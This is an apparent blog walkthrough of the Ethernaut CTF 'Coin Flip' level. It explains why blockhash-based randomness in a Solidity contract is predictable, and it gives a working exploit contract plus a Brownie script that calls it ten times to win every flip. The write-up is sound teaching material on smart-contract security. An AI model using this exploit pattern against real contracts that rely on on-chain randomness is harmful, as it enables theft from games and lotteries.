Ethernaut 3, solution: Coin Flip

Ethernaut 3, solution: Coin Flip

Understand the dangerous of calculating random values in the blockchain and also how transactions and message transmission works.

Continuing with the 3rd challenge, CoinFlip.

This challenge will help us to understand the dangerous of calculating random values in the blockchain and also we'll touch how trnasactions and messages transmission works.

Let's take a look into the contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

First we have the use of the OpenZeppelin library safeMath

Then we have an uint256, which is used to track how many times we successfully guess the outcome of the flip function;

Then we have another uint256 to store the last “random” value used in the contract.

Another uint256 which is a constant factor that divides the “random” value to finally obtain the guess.

In the constructor there is nothing fancy, it's only setting the consecutiveWins variable to 0

Now, the funny part.

We have a function guess that accepts one boolean parameter (true or false, each representing a side of the coin), this is the guess that we pass as input to the function. If we guess the outcome of the flip function ten consecutive times, we hack the contract,So we have to guess 10 times consecutively, if we fail one guess, the variable will be reset to zero.

The first line inside the function is blockValue

This is a uint256 which stores the blockhash of the actual block - 1 and parse that value to a uint256

uint256 blockValue = uint256(blockhash(block.number.sub(1)));

blockhash

blockhash returns the hash (a bytes32 type) of the given block (the number of the block you passed as parameter, in this case block.number -1), only if this block is within the latest 256 most recent blocks, this is for scalability reasons. If your block is not in those 256 latest blocks it will return zero.

You can read more about blockhash here

block number

block.number it's just another global variable of the solidity that we use to obtain the current block index.

So, this is using:

The block number = block.number.sub(1)

The hash of that block = blockhash(block.number.sub(1))

We parsed that block hash (a 32 bytes) to a uint256 uint256(blockhash(block.number.sub(1)))

The contract is using this value as source of ‘randomness’ to derive the guess ‘randomly’ but as the solidity documentation suggest is really a bad idea as a to use blockhash it as a source of randomness

“..the block hash can be influenced by miners to some degree. Bad actors in the mining community can for example run a casino payout function on a chosen hash and just retry a different hash if they did not receive any money.”

Not only that, the entire logic of the ‘random’ part of the function is there, publicly visible in the code, so we could simply mimic the same logic that they are using to predict the values that we are supposed to guess.

Then, we have an if statement that checks where lastHash is equal to blockValue, if so, it reverts the whole transaction, if not, it stores that blockValue to use it the next time the function is called.

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;

Then it takes the blockValue, and does a division with the constant number FACTOR. Finally, based on the result of that division, the contract decides the side of the coin and sets the side variable to true or false.

 uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

Finally, we have an if, else statement that checks whether the side is equal to the caller's choice, if so, increments consecutiveWins to one and returns true, if not, sets consecutiveWins to zero and returns false, so we have to start all over again.

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }

Let’s hack!,

As I said earlier, all the logic to set up the ‘randomness’ part of the function is there publicly visible, we don't necessarily have to understand how it works, we just have to mimic the same lines of codes to be able to predict the outcome and finally pass as argument that prediction as our “guess”

Explaining in more detail, we have to find a way to know the hash and number of the block in which the transaction involving the flip function call is processed, so we have to know those values before call flip but at the same time to avoid the block.number to change.

But, how do we find those values before calling the flip function but at the same time we call flip? That's the tricky part.

How transactions and messages works

Idk if you heard this before but when you call a function in a contract A that calls another contract B, that whole process is done at the same time, well not time, transaction. This is because contracts cannot trigger/sign transactions by themselves. Only Externally Own Accounts (EOA) can execute/sign transactions.

But, what happens when a EOA calls a function in contract A and that function in contract A executes a function in contract B? This is because contract A is not really executing a transaction, contract A is just passing a message to contract B that saids “execute that function”, but always having as the origin the EOA. So, what i s the thing?The thing is that all that process is done in the same transaction. That sounds like the solution, right?

So, all we need to do is a contract A that can mimic all the randomness logic that is within the flip function and pass the value that we obtain as a parameter to the flip. Since all this process is executed in the same transaction, we would be able to predict the value of blockValue and at the same time call the flip function with our prediction. Do this 10 times and that's it.

Lets code

First, we have to create our contract, in this we just only have to mimic all the logic that the flip function is using to achieve “randomness”

To be able to call the flip function within our contract, we have to instantiate the CoinFlip contract in our contract. To do that we need the address and ABI of the CoinFlip contract

If you follow my walkthrough, you may know you can obtain the ABI of a contract by creating an interface of it with the functions you want to call, in this case flip

pragma solidity 0.8.0;

interface ICoinFlip {
    function flip(bool _guess) external returns(bool);
    function consecutiveWins() view external returns(uint256);
}

Lest instantiate CoinFlip in our contract.

 ICoinFlip public contractToHack;

    constructor(address contractInstance) {
        contractToHack = ICoinFlip(contractInstance);
    }

Here I'm only using the Interface of Coinflipas a type to be able to instantiate the CoinFlip contract within our contract with the variable name of contractToHack, and passing the actual address in where it is deployed in the constructor. This is just a mechanism that solidity uses to be able to call functions of other contracts within a contract.

Now, we just only need to copy and paste all the logic used to generate ‘randomness’ in the flip function, for that we need

The factor, The process to obtain blockValue The arithmetic operation in where we divide blockValue by the FACTOR And the ternary operation to decide which side chose.

Then we just call flip with our choice.

    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    function hackFlip() external returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = uint256(blockValue / FACTOR);
        bool side = coinFlip == 1 ? true : false;
        return contractToHack.flip(side);
    }

That's it, now we just have to deploy our contract and call the hack function 10 times.

from brownie import interface, accounts, config, CoinFlipHack

INSTANCE_ADDRESS = "0x7b4e404563824a938A5e7acA730c6B26c3e51675"
ACCOUNT = accounts.add(config["wallets"]["from_key"])

def hack():
    # grab the Coin Flip contract Object
    instance_contract = interface.ICoinFlip(INSTANCE_ADDRESS)
    # deploy the exploit contract
    exploit_contract = CoinFlipHack.deploy(INSTANCE_ADDRESS, {"from": ACCOUNT})

    # call the exploit function 10 times
    for i in range(10):
        tx = exploit_contract.hackFlip({"from": ACCOUNT})
        # wait 2 blocks betwen each call
        tx.wait(2)

    print(f"Contract has been hacked. we win {instance_contract.consecutiveWins()} consecutive times")

def main():
    hack()

image.png

Finally, we can just submit the instance, we are going to use the same process as in previous articles.

Have the ethernaut contract abi, and its address to be able to instanti it.

And calls the submitLevelInstance function

def submit_the_contract():
    ethernaut_contract = Contract.from_abi("Ethernaut",ETHERNAUT_CONTRACT_ADDRESS, ETHERNAUT_ABI)
    print("Submiting instance")
    ethernaut_contract.submitLevelInstance(INSTANCE_ADDRESS, {"from": ACCOUNT})
    print("Instance submitted. Level passed. WOHOOO!")
    print("refresh the page of ethernaut")


def main():
    submit_the_contract()

image.png

Now you can see the problems of generating random values in the blockchain, the thing is no matter how complex you write the logic to generate those values, if anyone can see that logic, as it happens in blockchain, anyone can mimic that logic to predict what your ‘randoms' values would be. And also, blockchains are deterministic environments, so in general it is pretty difficult to achieve randomness there.

But Kevin, I need to implement randomness in my super fantastic smart contract, how can I do that? Well you don't. You have to trust in a third party who can generate the random value for you. A third party? That sounds like centralization >:(.

Ummmm yeah, it's a trade off, but without that we wouldn't be able to achieve “real randomness”. But hey, there are really good options out there that use the oracle pattern, Chainlink for example. You could use its Verifiable random Function (VRF) contract to generate random values, you can read more about that here


That's all folks…

You can see the complete solution in this github repo

If you have any comment or suggestions please leave it in the comments section, also if you see any problem with the code feel free to make a PR.

You can follow me on my twitter @kevbto and DM me, I’m always happy to talk and get to know more people in this amazing community.

Stay tuned for the next Ethernaut solution: Telephone.